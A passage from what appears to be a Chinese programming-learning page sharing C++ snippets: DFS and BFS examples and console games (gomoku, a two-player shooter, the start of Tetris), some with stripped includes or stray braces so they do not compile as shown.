	{
		if( vis[i] ) continue;
		q[k] = i;
		vis[i] = 1;
		dfs(k+1,i); 
		vis[i] = 0;//回溯 
	} 
} 
int main()
{
	cin >> n >> m;
	dfs(1,0);
	return 0;
}

Copy

C++ 广搜

//示例代码
#include
using namespace std;
int n,m;//n行，m列
char mat[505][505];//地图
int step[505][505];//step[x][y] 表示起点到第x行第y列的最少步数
bool vis[505][505];//vis[x][y]=1 表示第x行第y列走过了

void bfs(int sx,int sy)
{
//	memset( 数组名 , 0 , sizeof 数组名);//只能置为0或者-1
memset( step , 0 , sizeof step);
memset( vis , 0 , sizeof vis);
queue quex;
queue quey;
quex.push(sx);
quey.push(sy);
step[sx][sy] = 0;
vis[sx][sy] = 1;
while( !quex.empty() )
{
int nowx = quex.front();
quex.pop();
int nowy = quey.front();
quey.pop();
//守株待兔
if(mat[nowx][nowy]=='T')
{
cout << step[nowx][nowy]+1 ;
return ;
}

for(int i=0;i<4;i++)
{
int dx[]={0,0,-1,1};
int dy[]={1,-1,0,0};
int tx = nowx + dx[i];
int ty = nowy + dy[i];
if(tx<1||tx>n||ty<1||ty>m) continue;//不能越界
if(vis[tx][ty]) continue;//不能重复
if(mat[tx][ty]=='X') continue;//不能穿墙
step[tx][ty] = step[nowx][nowy] + 1;
vis[tx][ty] = 1;
quex.push(tx);
quey.push(ty);
}
}
cout << -1;

}
int main()
{
cin >> n >> m;
int sx,sy;
for(int i=1;i<=n;i++)
{
for(int j=1;j<=m;j++)
{
cin >> mat[i][j];
if(mat[i][j]=='S')
{
sx=i;
sy=j;
}
}
}
bfs(sx,sy);
return 0;
}

Copy

//代码复制区

Copy

C++小游戏（五子棋）

#include <iostream>
using namespace std;
int b[20][20];
int n;
int m;
void qipan()
{
system("cls");
int k = 1;
for (int k = 0;k < n;++k)
{
for (int j = 0;j < m;++j)
{
cout << " ---- ";
}
cout << endl;
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m;++j)
{
if (b[i][j] < 10 && b[i][j] >= 0) cout << "| " << 0 << b[i][j] << " |";
else if (b[i][j] == -1) cout << "| " << "█" << " |";
else if (b[i][j] == -2) cout << "|" << " ○ " << "|";
else cout << "| " << b[i][j] << " |";

k++;
}


cout << endl;
for (int j = 0;j < m;++j)
{
cout << " ---- ";
}
cout << endl;
}

}

}
void success()
{
long time;
for (;;)
{
system("color a");
for (time = 0; time < 99999999; time++);
system("color b");
for (time = 0; time < 99999999; time++);
system("color c");
for (time = 0; time < 99999999; time++);
system("color d");
for (time = 0; time < 99999999; time++);
system("color e");
for (time = 0; time < 99999999; time++);
system("color f");
for (time = 0; time < 99999999; time++);
system("color 0");
for (time = 0; time < 99999999; time++);
system("color 1");
for (time = 0; time < 99999999; time++);
system("color 2");
for (time = 0; time < 99999999; time++);
system("color 3");
for (time = 0; time < 99999999; time++);
system("color 4");
for (time = 0; time < 99999999; time++);
system("color 5");
for (time = 0; time < 99999999; time++);
system("color 6");
for (time = 0; time < 99999999; time++);
system("color 7");
for (time = 0; time < 99999999; time++);
system("color 8");
for (time = 0; time < 99999999; time++);
system("color 9");
}
}
int main()
{
cout << "请选择你们想要的棋盘大小（棋盘的面积请不要大于100）" << endl;
cout << "棋盘的长:（推荐长度为10）" << endl;
cin >> m;
cout << "棋盘的宽:（推荐长度为10）" << endl;
cin >> n;
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m;++j)
{
b[i][j] = i * m + j;
}
}
qipan();
while (1)
{
int x;
cout << "请玩家一输入：" << endl;
cin >> x;
if (x == 648)
{
cout << "玩家一使用系统外挂" << endl;
cout << "游戏结束" << endl;
cout << "玩家一获胜" << endl;
success();
return 0;
}
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m;++j)
{
if (b[i][j] == x) b[i][j] = -1;
}
}
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m - 4;++j)
{
if ((b[i][j] == -1 && b[i][j + 1] == -1 && b[i][j + 2] == -1 && b[i][j + 3] == -1 && b[i][j + 4] == -1)
|| (b[i][j] == -1 && b[i + 1][j] == -1 && b[i + 2][j] == -1 && b[i + 3][j] == -1 && b[i + 4][j] == -1)
|| (b[i][j] == -1 && b[i + 1][j + 1] == -1 && b[i + 2][j + 2] == -1 && b[i + 3][j + 3] == -1 && b[i + 4][j + 4] == -1))
{
cout << "游戏结束" << endl;
cout << "玩家一获胜" << endl;
success();
return 0;
}
else if (i >= 4 && (b[i][j] == -1 && b[i - 1][j + 1] == -1 && b[i - 2][j + 2] == -1 && b[i - 3][j + 3] == -1 && b[i - 4][j + 4] == -1))
{
cout << "游戏结束" << endl;
cout << "玩家一获胜" << endl;
success();
return 0;
}
}
}
qipan();
cout << "请玩家二输入：" << endl;
cin >> x;
if (x == 648)
{
cout << "玩家二使用系统外挂" << endl;
cout << "游戏结束" << endl;
cout << "玩家二获胜" << endl;
success();
return 0;
}
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m;++j)
{
if (b[i][j] == x) b[i][j] = -2;
}
}
qipan();
for (int i = 0;i < n;++i)
{
for (int j = 0;j < m - 4;++j)
{
if ((b[i][j] == -2 && b[i][j + 1] == -2 && b[i][j + 2] == -2 && b[i][j + 3] == -2 && b[i][j + 4] == -2)
|| (b[i][j] == -2 && b[i + 1][j] == -2 && b[i + 2][j] == -2 && b[i + 3][j] == -2 && b[i + 4][j] == -2)
|| (b[i][j] == -2 && b[i + 1][j + 1] == -2 && b[i + 2][j + 2] == -2 && b[i + 3][j + 3] == -2 && b[i + 4][j + 4] == -2))
{
cout << "游戏结束" << endl;
cout << "玩家二获胜" << endl;
success();
return 0;
}
else if (i >= 4 && (b[i][j] == -2 && b[i - 1][j + 1] == -2 && b[i - 2][j + 2] == -2 && b[i - 3][j + 3] == -2 && b[i - 4][j + 4] == -2))
{
cout << "游戏结束" << endl;
cout << "玩家二获胜" << endl;
success();
return 0;
}
}
}

}

}

Copy

————————[AC]————————

C++小游戏（简易枪战）

#include<iostream>
#include<cstdio>
#include<windows.h>
#include<conio.h>
#pragma warning(disable : 4996)
using namespace std;
int SIZ = 20;
HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;

HANDLE hCon;
enum Color { DARKBLUE = 1, DARKGREEN, DARKTEAL, DARKRED, DARKPINK, DARKYELLOW, GRAY, DARKGRAY, BLUE, GREEN, TEAL, RED, PINK, YELLOW, WHITE };
void SetColor(Color c) {
if (hCon == NULL)
hCon = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hCon, c);
}

SYSTEMTIME sys;

//sys.wYear,sys.wMonth,sys.wDay,sys.wHour,sys.wMinute, sys.wSecond,sys.wMilliseconds,sys.wDayOfWeek
struct PLAYER {
int x, y;
int hp;
int gun;
int direct;
} p1, p2;
int map[1005][1005];

int abs(int x) {
if (x < 0) return -x;
return x;
}

void locate(int x, int y) {
coord.X = y - 1;
coord.Y = x - 1;
SetConsoleCursorPosition(hout, coord);
}

void print_map() {
locate(1, 1);
SetColor(GRAY);
for (int i = 1; i <= SIZ; i++) cout << "■";
locate(SIZ, 1);
for (int i = 1; i <= SIZ; i++) cout << "■";
for (int i = 2; i < SIZ; i++) {
locate(i, 1);
cout << "■";
locate(i, SIZ * 2 - 1);
cout << "■";
}
locate(SIZ + 1, 1);
SetColor(WHITE);
}

void create_tree(int x, int y) {
map[x][y] = map[x + 1][y] = map[x - 1][y] = map[x][y + 1] = map[x][y - 1] = 2;
}

void use_map(int x) {
if (x == 1) {
SIZ = 20;
SetColor(DARKGREEN);
map[16][6] = map[15][6] = map[17][6] = map[16][7] = map[16][5] = map[14][13] = map[13][12] = map[13][13] = 2;
for (int i = 2; i < SIZ; i++) {
for (int j = 2; j < SIZ; j++) {
if (map[i][j] == 2) {
locate(i, j * 2 - 1);
cout << "■";
}
}
}
SetColor(GRAY);
for (int i = 5; i <= 15; i++) {
map[i][i] = 1;
locate(i, i * 2 - 1);
cout << "■";
}
SetColor(WHITE);
}
else if (x == 2) {
SIZ = 30;
SetColor(GRAY);
for (int i = 4; i <= 26; i++) {
if (i == 13 || i == 14 || i == 15) continue;
map[i][4] = map[4][i] = map[26][i] = map[i][26] = 1;
}
for (int i = 1; i <= SIZ; i++) {
for (int j = 1; j <= SIZ; j++) {
if (map[i][j] == 1) {
locate(i, j * 2 - 1);
cout << "■";
}
}
}
SetColor(DARKGREEN);
for (int i = 10; i <= 20; i++) {
if (i == 13 || i == 17) continue;
map[i][10] = map[10][i] = map[20][i] = map[i][20] = 2;
}
create_tree(5, 5);
create_tree(18, 18);
for (int i = 1; i <= SIZ; i++) {
for (int j = 1; j <= SIZ; j++) {
if (map[i][j] == 2) {
locate(i, j * 2 - 1);
cout << "■";
}
}
}
SetColor(WHITE);
}
}
void cleanbody(int x, int y);
void putbody(int x, int y, int z);

void player_init() {
p1.hp = p2.hp = 300;
p1.gun = p2.gun = 1;
p1.direct = 4;
p2.direct = 2;
p1.x = 2;
p1.y = 2;
p2.x = SIZ - 1;
p2.y = SIZ - 1;
putbody(p1.x, p1.y, 1);
putbody(p2.x, p2.y, 2);
}

void mapinit() {
for (int i = 1; i <= SIZ; i++) {
map[i][1] = map[1][i] = map[SIZ][i] = map[i][SIZ] = 1;
}
}

void init() {
printf("Use Which Map?\n");
int x;
cin >> x;
system("cls");
use_map(x);
mapinit();
print_map();
player_init();
}

void putbody(int x, int y, int z) {
if (z == 1) SetColor(BLUE);
else if (z == 2) SetColor(RED);
locate(x, y * 2 - 1);
cout << "■";
SetColor(WHITE);
}
void cleanbody(int x, int y) {
locate(x, y * 2 - 1);
cout << " ";
}
/*
LIST
direct:
w 1
a 2
s 3
d 4
gun:
usp 1
mimigun 2
awp 3
block:
void 0
stone 1
tree 2
player 3
clip 4
*/
bool judge(int x, int y) {
if (map[x][y] == 1) return false;
if (map[x][y] == 2) return false;
if (map[x][y] == 3) return false;
return true;
}

bool judge_gun(int x, int y, int a)
{
if (map[x][y] == 1) return 0;
if (map[x][y] == 2) return 0;
if (map[x][y] == 3) {
if (p1.x == x && p1.y == y)
{
if (a == 1)p1.hp -= 50;
else if (a == 2)p1.hp -= 100;
else if (a == 3)p1.hp -= 300;
}
else
{
if (a == 1)p2.hp -= 50;
else if (a == 2)p2.hp -= 100;
else if (a == 3)p2.hp -= 300;
}
return 0;
}
return 1;
}

int cnt;
struct Clip {
int x, y;
int derect;
int force;
int start;
bool flag;
} clip[1000000];
void create_clip(int y, int x, int a, int b,int g) {
int X, Y;
if (y == 1) {
if (!judge_gun(a - 1, b,g)) return;
X = a - 1;
Y = b;
}
else if (y == 2) {
if (!judge_gun(a, b - 1,g)) return;
X = a;
Y = b - 1;
}
else if (y == 3) {
if (!judge_gun(a + 1, b,g)) return;
X = a + 1;
Y = b;
}
else if (y == 4) {
if (!judge_gun(a, b + 1,g)) return;
X = a;
Y = b + 1;
}
cnt++;
GetLocalTime(&sys);
clip[cnt].start = sys.wMilliseconds + sys.wSecond * 60 + sys.wHour * 3600;
clip[cnt].x = X;
clip[cnt].y = Y;
if (x == 1) {
clip[cnt].derect = p1.direct;
}
else if (x == 2) {
clip[cnt].derect = p2.direct;
}
}

void shoot(int x,int g) {
if (x == 1) {
create_clip(p1.direct, 1, p1.x, p1.y,g);
}
else if (x == 2) {
create_clip(p2.direct, 2, p2.x, p2.y,g);
}
}

void clean_clip(int x, int y) {
locate(x, y * 2 - 1);
cout << "  ";
locate(1, 1);
}

void print_clip(int x, int y, int i) {
if (clip[i].flag) {
clean_clip(x, y);
return;
}
locate(x, y * 2 - 1);
SetColor(YELLOW);
cout << "''";
locate(1, 1);
}

void clipmove(int g) {
GetLocalTime(&sys);
int t = sys.wMilliseconds + sys.wSecond * 60 + sys.wHour * 3600;
for (int i = 1; i <= cnt; i++) {
if (clip[i].flag) continue;
if (abs(clip[i].start - t) > 50) {
clip[i].start = t;
int x = clip[i].x;
int y = clip[i].y;
if (clip[i].derect == 1) {
if (!judge_gun(clip[i].x - 1, clip[i].y,g)) {
clip[i].flag = 1;
clean_clip(x, y);
continue;
}
clean_clip(clip[i].x, clip[i].y);
clip[i].x--;
print_clip(clip[i].x, clip[i].y, i);
}
else if (clip[i].derect == 2) {
if (!judge_gun(clip[i].x, clip[i].y - 1,g)) {
clip[i].flag = 1;
clean_clip(x, y);
continue;
}
clean_clip(clip[i].x, clip[i].y);
clip[i].y--;
print_clip(clip[i].x, clip[i].y, i);
}
else if (clip[i].derect == 3) {
if (!judge_gun(clip[i].x + 1, clip[i].y,g)) {
clip[i].flag = 1;
clean_clip(x, y);
continue;
}
clean_clip(clip[i].x, clip[i].y);
clip[i].x++;
print_clip(clip[i].x, clip[i].y, i);
}
else if (clip[i].derect == 4) {
if (!judge_gun(clip[i].x, clip[i].y + 1,g)) {
clip[i].flag = 1;
clean_clip(x, y);
continue;
}
clean_clip(clip[i].x, clip[i].y);
clip[i].y++;
print_clip(clip[i].x, clip[i].y, i);
}
}
}
}

int judge_hp() {
int x = p1.hp;
int y = p2.hp;
if (x < 0 && y<0 && x > y) swap(x, y);
if (x <= 0) {
locate(1, 1);
system("cls");
printf("GAME OVER!\nTHE WINNER IS P2!\n");
return 1;
}
else if (y <= 0) {
locate(1, 1);
system("cls");
printf("GAME OVER!\nTHE WINNER IS P1!\n");
return 1;
}
return 0;
}

void prog(int g) {
int t;
char ch;
while (true) {
if (kbhit()) {
ch = getch();
if (ch == 'w' && judge(p1.x - 1, p1.y)) {
p1.direct = 1;
cleanbody(p1.x, p1.y);
map[p1.x][p1.y] = 0;
putbody(--p1.x, p1.y, 1);
map[p1.x][p1.y] = 3;
}
else if (ch == '8' && judge(p2.x - 1, p2.y)) {
p2.direct = 1;
cleanbody(p2.x, p2.y);
map[p2.x][p2.y] = 0;
putbody(--p2.x, p2.y, 2);
map[p2.x][p2.y] = 3;
}
else if (ch == 'a' && judge(p1.x, p1.y - 1)) {
p1.direct = 2;
cleanbody(p1.x, p1.y);
map[p1.x][p1.y] = 0;
putbody(p1.x, --p1.y, 1);
map[p1.x][p1.y] = 3;
}
else if (ch == '4' && judge(p2.x, p2.y - 1)) {
p2.direct = 2;
cleanbody(p2.x, p2.y);
map[p2.x][p2.y] = 0;
putbody(p2.x, --p2.y, 2);
map[p2.x][p2.y] = 3;
}
else if (ch == 's' && judge(p1.x + 1, p1.y)) {
p1.direct = 3;
cleanbody(p1.x, p1.y);
map[p1.x][p1.y] = 0;
putbody(++p1.x, p1.y, 1);
map[p1.x][p1.y] = 3;
}
else if (ch == '5' && judge(p2.x + 1, p2.y)) {
p2.direct = 3;
cleanbody(p2.x, p2.y);
map[p2.x][p2.y] = 0;
putbody(++p2.x, p2.y, 2);
map[p2.x][p2.y] = 3;
}
else if (ch == 'd' && judge(p1.x, p1.y + 1)) {
p1.direct = 4;
cleanbody(p1.x, p1.y);
map[p1.x][p1.y] = 0;
putbody(p1.x, ++p1.y, 1);
map[p1.x][p1.y] = 3;
}
else if (ch == '6' && judge(p2.x, p2.y + 1)) {
p2.direct = 4;
cleanbody(p2.x, p2.y);
map[p2.x][p2.y] = 0;
putbody(p2.x, ++p2.y, 2);
map[p2.x][p2.y] = 3;
}
else if (ch == '0') {
shoot(2,g);
}
else if (ch == ' ') {
shoot(1,g);
}
Sleep(20);
}
clipmove(g);
t=judge_hp();
if (t == 1)
{
Sleep(2000);
break;
}
}
}

int welcome()
{
system("cls");
printf("操作方法：\n玩家1 wasd控制移动，空格攻击\n玩家2 数字小键盘4568控制移动，0攻击\n");
printf("Which GUN do you want to choose?\n");
printf("1.usp------2.mimigun------3.awp\n");
int a;
cin >> a;
return a;
}

int main()
{
int i;
for (;;)
{
int g;
g = welcome();
GetLocalTime(&sys);
init();
prog(g);
printf("Continue?\n1.Yes------2.NO\n");
cin >> i;
if (i == 2)exit(0);
}
return 0;
}

Copy

————————AC———————— C++小游戏（俄罗斯方块）

#include <iostream>
#include <string>
#include <ctime>
#include <cstdlib>
#include <windows.h>
#include <conio.h>

using namespace std;

int block00[4][4] = { { 10,0,0,0 },{ 1,1,1,1 },{ 0,0,0,0 },{ 0,0,0,0 } };
int block01[4][4] = { { 11,0,1,0 },{ 0,0,1,0 },{ 0,0,1,0 },{ 0,0,1,0 } };
int block02[4][4] = { { 12,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 0,1,0,0 } };
int block03[4][4] = { { 13,0,0,0 },{ 0,1,0,0 },{ 1,1,0,0 },{ 0,1,0,0 } };
int block04[4][4] = { { 14,0,0,0 },{ 0,0,0,0 },{ 0,1,0,0 },{ 1,1,1,0 } };
int block05[4][4] = { { 15,0,0,0 },{ 0,1,0,0 },{ 0,1,1,0 },{ 0,1,0,0 } };
int block06[4][4] = { { 16,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 1,0,0,0 } };
int block07[4][4] = { { 17,0,0,0 },{ 1,1,0,0 },{ 0,1,0,0 },{ 0,1,0,0 } };
int block08[4][4] = { { 18,0,0,0 },{ 0,0,0,0 },{ 0,0,1,0 },{ 1,1,1,0 } };
int block09[4][4] = { { 19,0,0,0 },{ 0,1,0,0 },{ 0,1,0,0 },{ 0,1,1,0 } };
int block10[4][4] = { { 20,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 0,0,1,0 } };
int block11[4][4] = { { 21,0,0,0 },{ 0,1,0,0 },{ 0,1,0,0 },{ 1,1,0,0 } };
int block12[4][4] = { { 22,0,0,0 },{ 0,0,0,0 },{ 1,0,0,0 },{ 1,1,1,0 } };
int block13[4][4] = { { 23,0,0,0 },{ 0,1,1,0 },{ 0,1,0,0 },{ 0,1,0,0 } };
int block14[4][4] = { { 24,0,0,0 },{ 0,0,0,0 },{ 0,1,1,0 },{ 1,1,0,0 } };
int block15[4][4] = { { 25,0,0,0 },{ 1,0,0,0 },{ 1,1,0,0 },{ 0,1,0,0 } };
int block16[4][4] = { { 26,0,0,0 },{ 0,0,0,0 },{ 1,1,0,0 },{ 0,1,1,0 } };
int block17[4][4] = { { 27,0,0,0 },{ 0,0,1,0 },{ 0,1,1,0 },{ 0,1,0,0 } };
int block18[4][4] = { { 28,0,0,0 },{ 0,0,0,0 },{ 1,1,0,0 },{ 1,1,0,0 } };

void initialWindow(HANDLE hOut);//初始化窗口
void initialPrint(HANDLE hOut);//初始化界面
void gotoXY(HANDLE hOut, int x, int y);//移动光标
void roundBlock(HANDLE hOut, int block[4][4]);//随机生成方块并打印到下一个方块位置
bool collisionDetection(int block[4][4], int map[21][12], int x, int y);//检测碰撞
void printBlock(HANDLE hOut, int block[4][4], int x, int y);//打印方块
void clearBlock(HANDLE hOut, int block[4][4], int x, int y);//消除方块
void myLeft(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//左移
void myRight(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//右移
void myUp(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//顺时针旋转90度
int myDown(HANDLE hOut, int block[4][4], int map[21][12], int &x, int y);//加速下落
void myStop(HANDLE hOut, int block[4][4]);//游戏暂停
void gameOver(HANDLE hOut, int block[4][4], int map[21][12]);//游戏结束
void eliminateRow(HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint);//判断是否能消行并更新分值
int main()
{
	int map[21][12];
	int blockA[4][4];//候选区的方块
	int blockB[4][4];//下落中的方块
	int positionX, positionY;//方块左上角的坐标
	bool check;//检查方块还能不能下落
	char key;//用来存储按键
	int val;//用来控制下落速度
	int fraction;//用来存储得分
	int checkpoint;//用来存储关卡
	int times;
	HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);//获取标准输出设备句柄
	initialWindow(hOut);
initial:
	gotoXY(hOut, 0, 0);
	initialPrint(hOut);
	check = true;
	val = 50;
	fraction = 0;
	checkpoint = 1;
	times = val;
	for (int i = 0; i < 20; ++i)
	{
		for (int j = 1; j < 11; ++j)
		{
			map[i][j] = 0;
		}
	}
	for (int i = 0; i < 20; ++i)
	{
		map[i][0] = map[i][11] = 1;
	}
	for (int i = 0; i < 12; ++i)
	{
		map[20][i] = 1;
	}

	srand((unsigned)time(NULL));
	roundBlock(hOut, blockA);
	while (true)
	{
		if (check)
		{
			eliminateRow(hOut, map, val, fraction, checkpoint);
			check = false;
			positionX = -3;
			positionY = 4;
			if (collisionDetection(blockA, map, positionX, positionY))
			{
				for (int i = 0; i < 4; ++i)
				{
					for (int j = 0; j < 4; ++j)
					{
						blockB[i][j] = blockA[i][j];
					}
				}
				roundBlock(hOut, blockA);
			}
			else
			{
				gameOver(hOut, blockA, map);
				goto initial;
			}
		}
		printBlock(hOut, blockB, positionX, positionY);
		if (_kbhit())
		{
			key = _getch();
			switch (key)
			{
			case 72:
				myUp(hOut, blockB, map, positionX, positionY);
				break;
			case 75:
				myLeft(hOut, blockB, map, positionX, positionY);
				break;
			case 77:
				myRight(hOut, blockB, map, positionX, positionY);
				break;
			case 80:
				switch (myDown(hOut, blockB, map, positionX, positionY))
				{
				case 0:
					check = false;
					break;
				case 1:
					check = true;
					break;
				case 2:
					gameOver(hOut, blockB, map);
					goto initial;
				default:
					break;
				}
				break;
			case 32:
				myStop(hOut, blockA);
				break;
			case 27:
				exit(0);
			default:
				break;
			}
		}
		Sleep(20);
		if (0 == --times)
		{
			switch (myDown(hOut, blockB, map, positionX, positionY))
			{
			case 0:
				check = false;
				break;
			case 1:
				check = true;
				break;
			case 2:
				gameOver(hOut, blockB, map);
				goto initial;
			default:
				break;
			}
			times = val;
		}
	}
	cin.get();
	return 0;
}

void initialWindow(HANDLE hOut)
{
	SetConsoleTitle("俄罗斯方块");
	COORD size = { 80, 25 };
	SetConsoleScreenBufferSize(hOut, size);
	SMALL_RECT rc = { 0, 0, 79, 24 };
	SetConsoleWindowInfo(hOut, true, &rc);
	CONSOLE_CURSOR_INFO cursor_info = { 1, 0 };
	SetConsoleCursorInfo(hOut, &cursor_info);
}

void initialPrint(HANDLE hOut)
{
	SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
	for (int i = 0; i < 20; ++i)
	{
		cout << "■                    ■☆                      ☆" << endl;
	}
	gotoXY(hOut, 26, 0);
	cout << "☆☆☆☆☆☆☆☆☆☆☆";
	gotoXY(hOut, 0, 20);
	cout << "■■■■■■■■■■■■☆☆☆☆☆☆☆☆☆☆☆☆☆";
	gotoXY(hOut, 26, 1);
	cout << "分    数：      ";
	gotoXY(hOut, 26, 2);
	cout << "关    卡：      ";
	gotoXY(hOut, 26, 4);
	cout << "下一方块：";
	gotoXY(hOut, 26, 9);
	cout << "操作方法：";
	gotoXY(hOut, 30, 11);
	cout << "↑：旋转 ↓：速降";
	gotoXY(hOut, 30, 12);
	cout << "→：右移 ←：左移";
	gotoXY(hOut, 30, 13);
	cout << "空格键：开始/暂停";
	gotoXY(hOut, 30, 14);
	cout << "Esc 键：退出";
	gotoXY(hOut, 26, 16);
	cout << "关    于：";
	gotoXY(hOut, 30, 18);
	cout << "俄罗斯方块V1.0";
	gotoXY(hOut, 35, 19);
	cout << "作者：李国良";
}

void gotoXY(HANDLE hOut, int x, int y)
{
	COORD pos;
	pos.X = x;
	pos.Y = y;
	SetConsoleCursorPosition(hOut, pos);
}

void roundBlock(HANDLE hOut, int block[4][4])
{
	clearBlock(hOut, block, 5, 15);
	switch (rand() % 19)
	{
	case 0:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block00[i][j];
			}
		}
		break;
	case 1:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block01[i][j];
			}
		}
		break;
	case 2:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block02[i][j];
			}
		}
		break;
	case 3:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block03[i][j];
			}
		}
		break;
	case 4:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block04[i][j];
			}
		}
		break;
	case 5:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block05[i][j];
			}
		}
		break;
	case 6:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block06[i][j];
			}
		}
		break;
	case 7:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block07[i][j];
			}
		}
		break;
	case 8:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block08[i][j];
			}
		}
		break;
	case 9:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block09[i][j];
			}
		}
		break;
	case 10:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block10[i][j];
			}
		}
		break;
	case 11:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block11[i][j];
			}
		}
		break;
	case 12:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block12[i][j];
			}
		}
		break;
	case 13:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block13[i][j];
			}
		}
		break;
	case 14:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block14[i][j];
			}
		}
		break;
	case 15:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block15[i][j];
			}
		}
		break;
	case 16:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block16[i][j];
			}
		}
		break;
	case 17:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block17[i][j];
			}
		}
		break;
	case 18:
		for (int i = 0; i < 4; ++i)
		{
			for (int j = 0; j < 4; ++j)
			{
				block[i][j] = block18[i][j];
			}
		}
		break;
	default:
		break;
	}
	printBlock(hOut, block, 5, 15);
}

bool collisionDetection(int block[4][4], int map[21][12], int x, int y)
{
	for (int i = 0; i < 4; ++i)
	{
		for (int j = 0; j < 4; ++j)
		{
			if (x + i >= 0 && y + j >= 0 && map[x + i][y + j] == 1 && block[i][j] == 1)
			{
				return false;
			}
		}
	}
	return true;
}

void printBlock(HANDLE hOut, int block[4][4], int x, int y)
{
	switch (block[0][0])
	{
	case 10:
	case 11:
		SetConsoleTextAttribute(hOut, FOREGROUND_GREEN);
		break;
	case 12:
	case 13:
	case 14:
	case 15:
		SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
		break;
	case 16:
	case 17:
	case 18:
	case 19:
		SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
		break;
	case 20:
	case 21:
	case 22:
	case 23:
		SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
		break;
	case 24:
	case 25:
		SetConsoleTextAttribute(hOut, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
		break;
	case 26:
	case 27:
		SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
		break;
	case 28:
		SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
		break;
	default:
		break;
	}
	for (int i = 0; i < 4; ++i)
	{
		if (i + x >= 0)
		{
			for (int j = 0; j < 4; ++j)
			{
				if (block[i][j] == 1)
				{

					gotoXY(hOut, 2 * (y + j), x + i);
					cout << "■";
				}
			}
		}
	}
}

void clearBlock(HANDLE hOut, int block[4][4], int x, int y)
{
	for (int i = 0; i < 4; ++i)
	{
		if (i + x >= 0)
		{
			for (int j = 0; j < 4; ++j)
			{
				if (block[i][j] == 1)
				{
					gotoXY(hOut, 2 * (y + j), x + i);
					cout << "  ";
				}
			}
		}
	}
}

void gameOver(HANDLE hOut, int block[4][4], int map[21][12])
{
	SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
	gotoXY(hOut, 9, 8);
	cout << "GAME OVER";
	gotoXY(hOut, 8, 9);
	cout << "空格键：重来";
	gotoXY(hOut, 8, 10);
	cout << "ESC键：退出";
	char key;
	while (true)
	{
		key = _getch();
		if (key == 32)
		{
			return;
		}
		if (key == 27)
		{
			exit(0);
		}
	}
}

int myDown(HANDLE hOut, int block[4][4], int map[21][12], int &x, int y)
{
	if (collisionDetection(block, map, x + 1, y))
	{
		clearBlock(hOut, block, x, y);
		++x;
		return 0;
	}
	if (x < 0)
	{
		return 2;
	}
	for (int i = 0; i < 4; ++i)
	{
		for (int j = 0; j < 4; ++j)
		{
			if (block[i][j] == 1)
			{
				map[x + i][y + j] = 1;
				SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY);
				gotoXY(hOut, 2 * (y + j), x + i);
				cout << "■";
			}
		}
	}
	return 1;
}

void myLeft(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y)
{
	if (collisionDetection(block, map, x, y - 1))
	{
		clearBlock(hOut, block, x, y);
		--y;
	}
}

void myRight(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y)
{
	if (collisionDetection(block, map, x, y + 1))
	{
		clearBlock(hOut, block, x, y);
		++y;
	}
}

void myUp(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y)
{
	switch (block[0][0])
	{
	case 10:
